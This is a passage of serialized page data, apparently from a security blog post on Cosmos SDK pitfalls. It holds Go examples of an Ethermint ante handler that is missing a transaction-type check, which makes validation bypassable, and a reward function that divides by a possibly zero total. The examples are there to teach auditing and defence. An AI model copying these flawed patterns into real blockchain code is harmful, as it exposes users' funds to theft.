txWithExtensions",{"type":24,"tag":930,"props":83284,"children":83285},{"style":959},[83286],{"type":30,"value":962},{"type":24,"tag":930,"props":83288,"children":83289},{"style":1023},[83290],{"type":30,"value":81846},{"type":24,"tag":930,"props":83292,"children":83293},{"style":1158},[83294],{"type":30,"value":79495},{"type":24,"tag":930,"props":83296,"children":83297},{"style":1023},[83298],{"type":30,"value":71113},{"type":24,"tag":930,"props":83300,"children":83301},{"style":959},[83302],{"type":30,"value":81859},{"type":24,"tag":930,"props":83304,"children":83305},{"style":943},[83306],{"type":30,"value":83307},"authante",{"type":24,"tag":930,"props":83309,"children":83310},{"style":959},[83311],{"type":30,"value":436},{"type":24,"tag":930,"props":83313,"children":83314},{"style":943},[83315],{"type":30,"value":83316},"HasExtensionOptionsTx",{"type":24,"tag":930,"props":83318,"children":83319},{"style":959},[83320],{"type":30,"value":1054},{"type":24,"tag":930,"props":83322,"children":83323},{"class":932,"line":1418},[83324,83328,83333],{"type":24,"tag":930,"props":83325,"children":83326},{"style":1079},[83327],{"type":30,"value":3290},{"type":24,"tag":930,"props":83329,"children":83330},{"style":1023},[83331],{"type":30,"value":83332}," ok",{"type":24,"tag":930,"props":83334,"children":83335},{"style":959},[83336],{"type":30,"value":981},{"type":24,"tag":930,"props":83338,"children":83339},{"class":932,"line":1438},[83340,83345,83349,83354,83358,83363],{"type":24,"tag":930,"props":83341,"children":83342},{"style":1023},[83343],{"type":30,"value":83344},"            opts",{"type":24,"tag":930,"props":83346,"children":83347},{"style":1158},[83348],{"type":30,"value":79495},{"type":24,"tag":930,"props":83350,"children":83351},{"style":1023},[83352],{"type":30,"value":83353}," txWithExtensions",{"type":24,"tag":930,"props":83355,"children":83356},{"style":959},[83357],{"type":30,"value":436},{"type":24,"tag":930,"props":83359,"children":83360},{"style":1002},[83361],{"type":30,"value":83362},"GetExtensionOptions",{"type":24,"tag":930,"props":83364,"children":83365},{"style":959},[83366],{"type":30,"value":10846},{"type":24,"tag":930,"props":83368,"children":83369},{"class":932,"line":1479},[83370,83374,83378,83382,83386,83390,83394,83398],{"type":24,"tag":930,"props":83371,"children":83372},{"style":1079},[83373],{"type":30,"value":1485},{"type":24,"tag":930,"props":83375,"children":83376},{"style":1002},[83377],{"type":30,"value":11667},{"type":24,"tag":930,"props":83379,"children":83380},{"style":959},[83381],{"type":30,"value":1010},{"type":24,"tag":930,"props":83383,"children":83384},{"style":1023},[83385],{"type":30,"value":51651},{"type":24,"tag":930,"props":83387,"children":83388},{"style":959},[83389],{"type":30,"value":5579},{"type":24,"tag":930,"props":83391,"children":83392},{"style":1158},[83393],{"type":30,"value":2261},{"type":24,"tag":930,"props":83395,"children":83396},{"style":1242},[83397],{"type":30,"value":1245},{"type":24,"tag":930,"props":83399,"children":83400},{"style":959},[83401],{"type":30,"value":981},{"type":24,"tag":930,"props":83403,"children":83404},{"class":932,"line":1506},[83405,83410,83415,83419,83424,83428,83432,83436,83441,83445,83450],{"type":24,"tag":930,"props":83406,"children":83407},{"style":1079},[83408],{"type":30,"value":83409},"                switch",{"type":24,"tag":930,"props":83411,"children":83412},{"style":1023},[83413],{"type":30,"value":83414}," typeURL",{"type":24,"tag":930,"props":83416,"children":83417},{"style":1158},[83418],{"type":30,"value":79495},{"type":24,"tag":930,"props":83420,"children":83421},{"style":1023},[83422],{"type":30,"value":83423}," opts",{"type":24,"tag":930,"props":83425,"children":83426},{"style":959},[83427],{"type":30,"value":6849},{"type":24,"tag":930,"props":83429,"children":83430},{"style":1242},[83431],{"type":30,"value":1818},{"type":24,"tag":930,"props":83433,"children":83434},{"style":959},[83435],{"type":30,"value":53438},{"type":24,"tag":930,"props":83437,"children":83438},{"style":1002},[83439],{"type":30,"value":83440},"GetTypeUrl",{"type":24,"tag":930,"props":83442,"children":83443},{"style":959},[83444],{"type":30,"value":31541},{"type":24,"tag":930,"props":83446,"children":83447},{"style":1023},[83448],{"type":30,"value":83449},"typeURL",{"type":24,"tag":930,"props":83451,"children":83452},{"style":959},[83453],{"type":30,"value":981},{"type":24,"tag":930,"props":83455,"children":83456},{"class":932,"line":1525},[83457,83462,83467],{"type":24,"tag":930,"props":83458,"children":83459},{"style":1079},[83460],{"type":30,"value":83461},"                case",{"type":24,"tag":930,"props":83463,"children":83464},{"style":1270},[83465],{"type":30,"value":83466}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":930,"props":83468,"children":83469},{"style":959},[83470],{"type":30,"value":8680},{"type":24,"tag":930,"props":83472,"children":83473},{"class":932,"line":1569},[83474],{"type":24,"tag":930,"props":83475,"children":83476},{"style":1422},[83477],{"type":30,"value":83478},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":930,"props":83480,"children":83481},{"class":932,"line":1592},[83482],{"type":24,"tag":930,"props":83483,"children":83484},{"emptyLinePlaceholder":16},[83485],{"type":30,"value":2412},{"type":24,"tag":930,"props":83487,"children":83488},{"class":932,"line":1610},[83489,83494,83498,83502,83506,83511],{"type":24,"tag":930,"props":83490,"children":83491},{"style":1023},[83492],{"type":30,"value":83493},"                    anteHandler",{"type":24,"tag":930,"props":83495,"children":83496},{"style":1158},[83497],{"type":30,"value":6137},{"type":24,"tag":930,"props":83499,"children":83500},{"style":1023},[83501],{"type":30,"value":81720},{"type":24,"tag":930,"props":83503,"children":83504},{"style":959},[83505],{"type":30,"value":436},{"type":24,"tag":930,"props":83507,"children":83508},{"style":1002},[83509],{"type":30,"value":83510},"ChainAnteDecorators",{"type":24,"tag":930,"props":83512,"children":83513},{"style":959},[83514],{"type":30,"value":2814},{"type":24,"tag":930,"props":83516,"children":83517},{"class":932,"line":1628},[83518,83523,83527],{"type":24,"tag":930,"props":83519,"children":83520},{"style":1002},[83521],{"type":30,"value":83522},"                        NewEthSetUpContextDecorator",{"type":24,"tag":930,"props":83524,"children":83525},{"style":959},[83526],{"type":30,"value":1364},{"type":24,"tag":930,"props":83528,"children":83529},{"style":1422},[83530],{"type":30,"value":82373},{"type":24,"tag":930,"props":83532,"children":83533},{"class":932,"line":1637},[83534],{"type":24,"tag":930,"props":83535,"children":83536},{"style":1158},[83537],{"type":30,"value":83538},"                        ...\n",{"type":24,"tag":930,"props":83540,"children":83541},{"class":932,"line":1646},[83542,83547,83551,83556,83560],{"type":24,"tag":930,"props":83543,"children":83544},{"style":1002},[83545],{"type":30,"value":83546},"                        NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":930,"props":83548,"children":83549},{"style":959},[83550],{"type":30,"value":1010},{"type":24,"tag":930,"props":83552,"children":83553},{"style":1023},[83554],{"type":30,"value":83555},"ak",{"type":24,"tag":930,"props":83557,"children":83558},{"style":959},[83559],{"type":30,"value":3199},{"type":24,"tag":930,"props":83561,"children":83562},{"style":1422},[83563],{"type":30,"value":83564},"// innermost AnteDecorator.\n",{"type":24,"tag":930,"props":83566,"children":83567},{"class":932,"line":1673},[83568],{"type":24,"tag":930,"props":83569,"children":83570},{"style":959},[83571],{"type":30,"value":83572},"                    )\n",{"type":24,"tag":930,"props":83574,"children":83575},{"class":932,"line":1692},[83576],{"type":24,"tag":930,"props":83577,"children":83578},{"emptyLinePlaceholder":16},[83579],{"type":30,"value":2412},{"type":24,"tag":930,"props":83581,"children":83582},{"class":932,"line":1730},[83583,83588],{"type":24,"tag":930,"props":83584,"children":83585},{"style":1079},[83586],{"type":30,"value":83587},"                default",{"type":24,"tag":930,"props":83589,"children":83590},{"style":959},[83591],{"type":30,"value":8680},{"type":24,"tag":930,"props":83593,"children":83594},{"class":932,"line":1762},[83595,83600,83604,83608,83613,83617,83622],{"type":24,"tag":930,"props":83596,"children":83597},{"style":1079},[83598],{"type":30,"value":83599},"                    return",{"type":24,"tag":930,"props":83601,"children":83602},{"style":1023},[83603],{"type":30,"value":28935},{"type":24,"tag":930,"props":83605,"children":83606},{"style":959},[83607],{"type":30,"value":962},{"type":24,"tag":930,"props":83609,"children":83610},{"style":1023},[83611],{"type":30,"value":83612},"stacktrace",{"type":24,"tag":930,"props":83614,"children":83615},{"style":959},[83616],{"type":30,"value":436},{"type":24,"tag":930,"props":83618,"children":83619},{"style":1002},[83620],{"type":30,"value":83621},"Propagate",{"type":24,"tag":930,"props":83623,"children":83624},{"style":959},[83625],{"type":30,"value":2814},{"type":24,"tag":930,"props":83627,"children":83628},{"class":932,"line":1775},[83629,83634,83638,83642,83646,83651,83655,83660,83664,83668],{"type":24,"tag":930,"props":83630,"children":83631},{"style":1023},[83632],{"type":30,"value":83633},"                        sdkerrors",{"type":24,"tag":930,"props":83635,"children":83636},{"style":959},[83637],{"type":30,"value":436},{"type":24,"tag":930,"props":83639,"children":83640},{"style":1002},[83641],{"type":30,"value":81925},{"type":24,"tag":930,"props":83643,"children":83644},{"style":959},[83645],{"type":30,"value":1010},{"type":24,"tag":930,"props":83647,"children":83648},{"style":1023},[83649],{"type":30,"value":83650},"sdkerrors",{"type":24,"tag":930,"props":83652,"children":83653},{"style":959},[83654],{"type":30,"value":436},{"type":24,"tag":930,"props":83656,"children":83657},{"style":1023},[83658],{"type":30,"value":83659},"ErrUnknownExtensionOptions",{"type":24,"tag":930,"props":83661,"children":83662},{"style":959},[83663],{"type":30,"value":962},{"type":24,"tag":930,"props":83665,"children":83666},{"style":1023},[83667],{"type":30,"value":83449},{"type":24,"tag":930,"props":83669,"children":83670},{"style":959},[83671],{"type":30,"value":9848},{"type":24,"tag":930,"props":83673,"children":83674},{"class":932,"line":1825},[83675,83680],{"type":24,"tag":930,"props":83676,"children":83677},{"style":1270},[83678],{"type":30,"value":83679},"                        \"rejecting tx with unsupported extension option\"",{"type":24,"tag":930,"props":83681,"children":83682},{"style":959},[83683],{"type":30,"value":2832},{"type":24,"tag":930,"props":83685,"children":83686},{"class":932,"line":1834},[83687],{"type":24,"tag":930,"props":83688,"children":83689},{"style":959},[83690],{"type":30,"value":83572},{"type":24,"tag":930,"props":83692,"children":83693},{"class":932,"line":1843},[83694],{"type":24,"tag":930,"props":83695,"children":83696},{"style":959},[83697],{"type":30,"value":1634},{"type":24,"tag":930,"props":83699,"children":83700},{"class":932,"line":1851},[83701],{"type":24,"tag":930,"props":83702,"children":83703},{"emptyLinePlaceholder":16},[83704],{"type":30,"value":2412},{"type":24,"tag":930,"props":83706,"children":83707},{"class":932,"line":1919},[83708,83712,83716,83720,83724,83728,83732,83736,83740],{"type":24,"tag":930,"props":83709,"children":83710},{"style":1079},[83711],{"type":30,"value":63815},{"type":24,"tag":930,"props":83713,"children":83714},{"style":1002},[83715],{"type":30,"value":83201},{"type":24,"tag":930,"props":83717,"children":83718},{"style":959},[83719],{"type":30,"value":1010},{"type":24,"tag":930,"props":83721,"children":83722},{"style":1023},[83723],{"type":30,"value":23384},{"type":24,"tag":930,"props":83725,"children":83726},{"style":959},[83727],{"type":30,"value":962},{"type":24,"tag":930,"props":83729,"children":83730},{"style":1023},[83731],{"type":30,"value":82259},{"type":24,"tag":930,"props":83733,"children":83734},{"style":959},[83735],{"type":30,"value":962},{"type":24,"tag":930,"props":83737,"children":83738},{"style":1023},[83739],{"type":30,"value":83139},{"type":24,"tag":930,"props":83741,"children":83742},{"style":959},[83743],{"type":30,"value":1054},{"type":24,"tag":930,"props":83745,"children":83746},{"class":932,"line":1927},[83747],{"type":24,"tag":930,"props":83748,"children":83749},{"style":959},[83750],{"type":30,"value":1643},{"type":24,"tag":930,"props":83752,"children":83753},{"class":932,"line":1935},[83754],{"type":24,"tag":930,"props":83755,"children":83756},{"style":959},[83757],{"type":30,"value":1831},{"type":24,"tag":930,"props":83759,"children":83760},{"class":932,"line":1943},[83761],{"type":24,"tag":930,"props":83762,"children":83763},{"emptyLinePlaceholder":16},[83764],{"type":30,"value":2412},{"type":24,"tag":930,"props":83766,"children":83767},{"class":932,"line":1955},[83768],{"type":24,"tag":930,"props":83769,"children":83770},{"style":1422},[83771],{"type":30,"value":83772},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":930,"props":83774,"children":83775},{"class":932,"line":1975},[83776],{"type":24,"tag":930,"props":83777,"children":83778},{"emptyLinePlaceholder":16},[83779],{"type":30,"value":2412},{"type":24,"tag":930,"props":83781,"children":83782},{"class":932,"line":1995},[83783,83788,83792,83796,83800],{"type":24,"tag":930,"props":83784,"children":83785},{"style":1079},[83786],{"type":30,"value":83787},"        switch",{"type":24,"tag":930,"props":83789,"children":83790},{"style":1023},[83791],{"type":30,"value":71113},{"type":24,"tag":930,"props":83793,"children":83794},{"style":959},[83795],{"type":30,"value":81859},{"type":24,"tag":930,"props":83797,"children":83798},{"style":937},[83799],{"type":30,"value":35844},{"type":24,"tag":930,"props":83801,"children":83802},{"style":959},[83803],{"type":30,"value":1503},{"type":24,"tag":930,"props":83805,"children":83806},{"class":932,"line":2061},[83807,83812,83816,83820,83824],{"type":24,"tag":930,"props":83808,"children":83809},{"style":1079},[83810],{"type":30,"value":83811},"        case",{"type":24,"tag":930,"props":83813,"children":83814},{"style":943},[83815],{"type":30,"value":81720},{"type":24,"tag":930,"props":83817,"children":83818},{"style":959},[83819],{"type":30,"value":436},{"type":24,"tag":930,"props":83821,"children":83822},{"style":943},[83823],{"type":30,"value":81753},{"type":24,"tag":930,"props":83825,"children":83826},{"style":959},[83827],{"type":30,"value":8680},{"type":24,"tag":930,"props":83829,"children":83830},{"class":932,"line":2085},[83831,83836,83840,83844,83848,83852],{"type":24,"tag":930,"props":83832,"children":83833},{"style":1023},[83834],{"type":30,"value":83835},"            anteHandler",{"type":24,"tag":930,"props":83837,"children":83838},{"style":1158},[83839],{"type":30,"value":6137},{"type":24,"tag":930,"props":83841,"children":83842},{"style":1023},[83843],{"type":30,"value":81720},{"type":24,"tag":930,"props":83845,"children":83846},{"style":959},[83847],{"type":30,"value":436},{"type":24,"tag":930,"props":83849,"children":83850},{"style":1002},[83851],{"type":30,"value":83510},{"type":24,"tag":930,"props":83853,"children":83854},{"style":959},[83855],{"type":30,"value":2814},{"type":24,"tag":930,"props":83857,"children":83858},{"class":932,"line":2119},[83859,83864,83868,83873,83877],{"type":24,"tag":930,"props":83860,"children":83861},{"style":1023},[83862],{"type":30,"value":83863},"                authante",{"type":24,"tag":930,"props":83865,"children":83866},{"style":959},[83867],{"type":30,"value":436},{"type":24,"tag":930,"props":83869,"children":83870},{"style":1002},[83871],{"type":30,"value":83872},"NewSetUpContextDecorator",{"type":24,"tag":930,"props":83874,"children":83875},{"style":959},[83876],{"type":30,"value":1364},{"type":24,"tag":930,"props":83878,"children":83879},{"style":1422},[83880],{"type":30,"value":82373},{"type":24,"tag":930,"props":83882,"children":83883},{"class":932,"line":2135},[83884],{"type":24,"tag":930,"props":83885,"children":83886},{"style":1158},[83887],{"type":30,"value":83888},"                 ...\n",{"type":24,"tag":930,"props":83890,"children":83891},{"class":932,"line":2171},[83892,83896,83900,83905,83909,83913,83917],{"type":24,"tag":930,"props":83893,"children":83894},{"style":1023},[83895],{"type":30,"value":83863},{"type":24,"tag":930,"props":83897,"children":83898},{"style":959},[83899],{"type":30,"value":436},{"type":24,"tag":930,"props":83901,"children":83902},{"style":1002},[83903],{"type":30,"value":83904},"NewIncrementSequenceDecorator",{"type":24,"tag":930,"props":83906,"children":83907},{"style":959},[83908],{"type":30,"value":1010},{"type":24,"tag":930,"props":83910,"children":83911},{"style":1023},[83912],{"type":30,"value":83555},{"type":24,"tag":930,"props":83914,"children":83915},{"style":959},[83916],{"type":30,"value":3199},{"type":24,"tag":930,"props":83918,"children":83919},{"style":1422},[83920],{"type":30,"value":83921},"// innermost AnteDecorator\n",{"type":24,"tag":930,"props":83923,"children":83924},{"class":932,"line":2180},[83925],{"type":24,"tag":930,"props":83926,"children":83927},{"style":959},[83928],{"type":30,"value":80594},{"type":24,"tag":930,"props":83930,"children":83931},{"class":932,"line":2220},[83932,83937],{"type":24,"tag":930,"props":83933,"children":83934},{"style":1079},[83935],{"type":30,"value":83936},"        default",{"type":24,"tag":930,"props":83938,"children":83939},{"style":959},[83940],{"type":30,"value":8680},{"type":24,"tag":930,"props":83942,"children":83943},{"class":932,"line":2246},[83944,83948,83952,83956,83960,83964,83968],{"type":24,"tag":930,"props":83945,"children":83946},{"style":1079},[83947],{"type":30,"value":4279},{"type":24,"tag":930,"props":83949,"children":83950},{"style":1023},[83951],{"type":30,"value":28935},{"type":24,"tag":930,"props":83953,"children":83954},{"style":959},[83955],{"type":30,"value":962},{"type":24,"tag":930,"props":83957,"children":83958},{"style":1023},[83959],{"type":30,"value":83612},{"type":24,"tag":930,"props":83961,"children":83962},{"style":959},[83963],{"type":30,"value":436},{"type":24,"tag":930,"props":83965,"children":83966},{"style":1002},[83967],{"type":30,"value":83621},{"type":24,"tag":930,"props":83969,"children":83970},{"style":959},[83971],{"type":30,"value":2814},{"type":24,"tag":930,"props":83973,"children":83974},{"class":932,"line":2269},[83975,83980,83984,83989,83993,83997,84001,84006,84010,84015,84019,84023],{"type":24,"tag":930,"props":83976,"children":83977},{"style":1023},[83978],{"type":30,"value":83979},"                sdkerrors",{"type":24,"tag":930,"props":83981,"children":83982},{"style":959},[83983],{"type":30,"value":436},{"type":24,"tag":930,"props":83985,"children":83986},{"style":1002},[83987],{"type":30,"value":83988},"Wrapf",{"type":24,"tag":930,"props":83990,"children":83991},{"style":959},[83992],{"type":30,"value":1010},{"type":24,"tag":930,"props":83994,"children":83995},{"style":1023},[83996],{"type":30,"value":83650},{"type":24,"tag":930,"props":83998,"children":83999},{"style":959},[84000],{"type":30,"value":436},{"type":24,"tag":930,"props":84002,"children":84003},{"style":1023},[84004],{"type":30,"value":84005},"ErrUnknownRequest",{"type":24,"tag":930,"props":84007,"children":84008},{"style":959},[84009],{"type":30,"value":962},{"type":24,"tag":930,"props":84011,"children":84012},{"style":1270},[84013],{"type":30,"value":84014},"\"invalid transaction type: %T\"",{"type":24,"tag":930,"props":84016,"children":84017},{"style":959},[84018],{"type":30,"value":962},{"type":24,"tag":930,"props":84020,"children":84021},{"style":1023},[84022],{"type":30,"value":82259},{"type":24,"tag":930,"props":84024,"children":84025},{"style":959},[84026],{"type":30,"value":9848},{"type":24,"tag":930,"props":84028,"children":84029},{"class":932,"line":2278},[84030,84035],{"type":24,"tag":930,"props":84031,"children":84032},{"style":1270},[84033],{"type":30,"value":84034},"                \"transaction is not an SDK tx\"",{"type":24,"tag":930,"props":84036,"children":84037},{"style":959},[84038],{"type":30,"value":2832},{"type":24,"tag":930,"props":84040,"children":84041},{"class":932,"line":2306},[84042],{"type":24,"tag":930,"props":84043,"children":84044},{"style":959},[84045],{"type":30,"value":80594},{"type":24,"tag":930,"props":84047,"children":84048},{"class":932,"line":2337},[84049],{"type":24,"tag":930,"props":84050,"children":84051},{"style":959},[84052],{"type":30,"value":1831},{"type":24,"tag":930,"props":84054,"children":84055},{"class":932,"line":2346},[84056],{"type":24,"tag":930,"props":84057,"children":84058},{"emptyLinePlaceholder":16},[84059],{"type":30,"value":2412},{"type":24,"tag":930,"props":84061,"children":84062},{"class":932,"line":2355},[84063,84067,84071,84075,84079,84083,84087,84091,84095],{"type":24,"tag":930,"props":84064,"children":84065},{"style":1079},[84066],{"type":30,"value":18847},{"type":24,"tag":930,"props":84068,"children":84069},{"style":1002},[84070],{"type":30,"value":83201},{"type":24,"tag":930,"props":84072,"children":84073},{"style":959},[84074],{"type":30,"value":1010},{"type":24,"tag":930,"props":84076,"children":84077},{"style":1023},[84078],{"type":30,"value":23384},{"type":24,"tag":930,"props":84080,"children":84081},{"style":959},[84082],{"type":30,"value":962},{"type":24,"tag":930,"props":84084,"children":84085},{"style":1023},[84086],{"type":30,"value":82259},{"type":24,"tag":930,"props":84088,"children":84089},{"style":959},[84090],{"type":30,"value":962},{"type":24,"tag":930,"props":84092,"children":84093},{"style":1023},[84094],{"type":30,"value":83139},{"type":24,"tag":930,"props":84096,"children":84097},{"style":959},[84098],{"type":30,"value":1054},{"type":24,"tag":930,"props":84100,"children":84101},{"class":932,"line":2398},[84102],{"type":24,"tag":930,"props":84103,"children":84104},{"style":959},[84105],{"type":30,"value":1840},{"type":24,"tag":930,"props":84107,"children":84108},{"class":932,"line":2406},[84109],{"type":24,"tag":930,"props":84110,"children":84111},{"style":959},[84112],{"type":30,"value":2528},{"type":24,"tag":33,"props":84114,"children":84115},{},[84116,84118,84123,84125,84132,84133,84140],{"type":30,"value":84117},"Additional examples of incorrect ",{"type":24,"tag":156,"props":84119,"children":84121},{"className":84120},[],[84122],{"type":30,"value":81549},{"type":30,"value":84124}," usage include ",{"type":24,"tag":37,"props":84126,"children":84129},{"href":84127,"rel":84128},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[41],[84130],{"type":30,"value":84131},"yet more bypassable checks and loss of funds",{"type":30,"value":211},{"type":24,"tag":37,"props":84134,"children":84137},{"href":84135,"rel":84136},"https://github.com/cosmos/ibc-go/issues/853",[41],[84138],{"type":30,"value":84139},"incorrect data passing between blockchains",{"type":30,"value":436},{"type":24,"tag":68,"props":84142,"children":84144},{"id":84143},"errors-panics-i-can-handle-it",[84145],{"type":30,"value":84146},"Errors? Panics? I can handle it",{"type":24,"tag":33,"props":84148,"children":84149},{},[84150],{"type":30,"value":84151},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":33,"props":84153,"children":84154},{},[84155],{"type":30,"value":84156},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":33,"props":84158,"children":84159},{},[84160,84162,84168,84170,84175],{"type":30,"value":84161},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":156,"props":84163,"children":84165},{"className":84164},[],[84166],{"type":30,"value":84167},"k.keeper.TotalReward()",{"type":30,"value":84169}," returns zero, the ",{"type":24,"tag":156,"props":84171,"children":84173},{"className":84172},[],[84174],{"type":30,"value":61035},{"type":30,"value":84176}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":920,"props":84178,"children":84180},{"code":84179,"language":79244,"meta":7,"className":79245,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[84181],{"type":24,"tag":156,"props":84182,"children":84183},{"__ignoreMap":7},[84184,84217,84240,84268,84304,84311,84380,84418,84425,84457],{"type":24,"tag":930,"props":84185,"children":84186},{"class":932,"line":933},[84187,84191,84195,84200,84204,84208,84213],{"type":24,"tag":930,"props":84188,"children":84189},{"style":937},[84190],{"type":30,"value":79380},{"type":24,"tag":930,"props":84192,"children":84193},{"style":959},[84194],{"type":30,"value":1087},{"type":24,"tag":930,"props":84196,"children":84197},{"style":1023},[84198],{"type":30,"value":84199},"k ",{"type":24,"tag":930,"props":84201,"children":84202},{"style":943},[84203],{"type":30,"value":79394},{"type":24,"tag":930,"props":84205,"children":84206},{"style":959},[84207],{"type":30,"value":5579},{"type":24,"tag":930,"props":84209,"children":84210},{"style":1002},[84211],{"type":30,"value":84212},"AllocateReward",{"type":24,"tag":930,"props":84214,"children":84215},{"style":959},[84216],{"type":30,"value":2814},{"type":24,"tag":930,"props":84218,"children":84219},{"class":932,"line":984},[84220,84224,84228,84232,84236],{"type":24,"tag":930,"props":84221,"children":84222},{"style":1023},[84223],{"type":30,"value":79415},{"type":24,"tag":930,"props":84225,"children":84226},{"style":943},[84227],{"type":30,"value":1102},{"type":24,"tag":930,"props":84229,"children":84230},{"style":959},[84231],{"type":30,"value":436},{"type":24,"tag":930,"props":84233,"children":84234},{"style":943},[84235],{"type":30,"value":79428},{"type":24,"tag":930,"props":84237,"children":84238},{"style":959},[84239],{"type":30,"value":2832},{"type":24,"tag":930,"props":84241,"children":84242},{"class":932,"line":993},[84243,84247,84251,84255,84259,84264],{"type":24,"tag":930,"props":84244,"children":84245},{"style":1023},[84246],{"type":30,"value":79440},{"type":24,"tag":930,"props":84248,"children":84249},{"style":1158},[84250],{"type":30,"value":12924},{"type":24,"tag":930,"props":84252,"children":84253},{"style":943},[84254],{"type":30,"value":8871},{"type":24,"tag":930,"props":84256,"children":84257},{"style":959},[84258],{"type":30,"value":436},{"type":24,"tag":930,"props":84260,"children":84261},{"style":943},[84262],{"type":30,"value":84263},"MsgAllocateReward",{"type":24,"tag":930,"props":84265,"children":84266},{"style":959},[84267],{"type":30,"value":1054},{"type":24,"tag":930,"props":84269,"children":84270},{"class":932,"line":1057},[84271,84275,84279,84283,84287,84292,84296,84300],{"type":24,"tag":930,"props":84272,"children":84273},{"style":959},[84274],{"type":30,"value":1010},{"type":24,"tag":930,"props":84276,"children":84277},{"style":1158},[84278],{"type":30,"value":1410},{"type":24,"tag":930,"props":84280,"children":84281},{"style":943},[84282],{"type":30,"value":8871},{"type":24,"tag":930,"props":84284,"children":84285},{"style":959},[84286],{"type":30,"value":436},{"type":24,"tag":930,"props":84288,"children":84289},{"style":943},[84290],{"type":30,"value":84291},"MsgAllocatRewardResponse",{"type":24,"tag":930,"props":84293,"children":84294},{"style":959},[84295],{"type":30,"value":962},{"type":24,"tag":930,"props":84297,"children":84298},{"style":943},[84299],{"type":30,"value":17967},{"type":24,"tag":930,"props":84301,"children":84302},{"style":959},[84303],{"type":30,"value":1503},{"type":24,"tag":930,"props":84305,"children":84306},{"class":932,"line":1066},[84307],{"type":24,"tag":930,"props":84308,"children":84309},{"emptyLinePlaceholder":16},[84310],{"type":30,"value":2412},{"type":24,"tag":930,"props":84312,"children":84313},{"class":932,"line":1075},[84314,84319,84323,84328,84332,84337,84341,84346,84350,84354,84359,84363,84367,84371,84376],{"type":24,"tag":930,"props":84315,"children":84316},{"style":1023},[84317],{"type":30,"value":84318},"    RewardPerShare",{"type":24,"tag":930,"props":84320,"children":84321},{"style":1158},[84322],{"type":30,"value":79495},{"type":24,"tag":930,"props":84324,"children":84325},{"style":1023},[84326],{"type":30,"value":84327}," k",{"type":24,"tag":930,"props":84329,"children":84330},{"style":959},[84331],{"type":30,"value":436},{"type":24,"tag":930,"props":84333,"children":84334},{"style":1023},[84335],{"type":30,"value":84336},"keeper",{"type":24,"tag":930,"props":84338,"children":84339},{"style":959},[84340],{"type":30,"value":436},{"type":24,"tag":930,"props":84342,"children":84343},{"style":1002},[84344],{"type":30,"value":84345},"Shares",{"type":24,"tag":930,"props":84347,"children":84348},{"style":959},[84349],{"type":30,"value":3446},{"type":24,"tag":930,"props":84351,"children":84352},{"style":1158},[84353],{"type":30,"value":1471},{"type":24,"tag":930,"props":84355,"children":84356},{"style":1023},[84357],{"type":30,"value":84358},"  k",{"type":24,"tag":930,"props":84360,"children":84361},{"style":959},[84362],{"type":30,"value":436},{"type":24,"tag":930,"props":84364,"children":84365},{"style":1023},[84366],{"type":30,"value":84336},{"type":24,"tag":930,"props":84368,"children":84369},{"style":959},[84370],{"type":30,"value":436},{"type":24,"tag":930,"props":84372,"children":84373},{"style":1002},[84374],{"type":30,"value":84375},"TotalReward",{"type":24,"tag":930,"props":84377,"children":84378},{"style":959},[84379],{"type":30,"value":10846},{"type":24,"tag":930,"props":84381,"children":84382},{"class":932,"line":1122},[84383,84388,84392,84396,84400,84405,84409,84414],{"type":24,"tag":930,"props":84384,"children":84385},{"style":1023},[84386],{"type":30,"value":84387},"    k",{"type":24,"tag":930,"props":84389,"children":84390},{"style":959},[84391],{"type":30,"value":436},{"type":24,"tag":930,"props":84393,"children":84394},{"style":1023},[84395],{"type":30,"value":84336},{"type":24,"tag":930,"props":84397,"children":84398},{"style":959},[84399],{"type":30,"value":436},{"type":24,"tag":930,"props":84401,"children":84402},{"style":1002},[84403],{"type":30,"value":84404},"DistributeReward",{"type":24,"tag":930,"props":84406,"children":84407},{"style":959},[84408],{"type":30,"value":1010},{"type":24,"tag":930,"props":84410,"children":84411},{"style":1023},[84412],{"type":30,"value":84413},"RewardPerShare",{"type":24,"tag":930,"props":84415,"children":84416},{"style":959},[84417],{"type":30,"value":1054},{"type":24,"tag":930,"props":84419,"children":84420},{"class":932,"line":1131},[84421],{"type":24,"tag":930,"props":84422,"children":84423},{"emptyLinePlaceholder":16},[84424],{"type":30,"value":2412},{"type":24,"tag":930,"props":84426,"children":84427},{"class":932,"line":1144},[84428,84432,84436,84440,84444,84449,84453],{"type":24,"tag":930,"props":84429,"children":84430},{"style":1079},[84431],{"type":30,"value":20090},{"type":24,"tag":930,"props":84433,"children":84434},{"style":1158},[84435],{"type":30,"value":10253},{"type":24,"tag":930,"props":84437,"children":84438},{"style":1023},[84439],{"type":30,"value":8871},{"type":24,"tag":930,"props":84441,"children":84442},{"style":959},[84443],{"type":30,"value":436},{"type":24,"tag":930,"props":84445,"children":84446},{"style":1023},[84447],{"type":30,"value":84448},"MsgAllocateRewardResponse",{"type":24,"tag":930,"props":84450,"children":84451},{"style":959},[84452],{"type":30,"value":962},{"type":24,"tag":930,"props":84454,"children":84455},{"style":937},[84456],{"type":30,"value":79721},{"type":24,"tag":930,"props":84458,"children":84459},{"class":932,"line":1169},[84460],{"type":24,"tag":930,"props":84461,"children":84462},{"style":959},[84463],{"type":30,"value":2528},{"type":24,"tag":33,"props":84465,"children":84466},{},[84467,84469,84475,84476,84482,84483,84489,84491,84496],{"type":30,"value":84468},"However, the same assumption does not always hold. Certain parts of Cosmos, such as 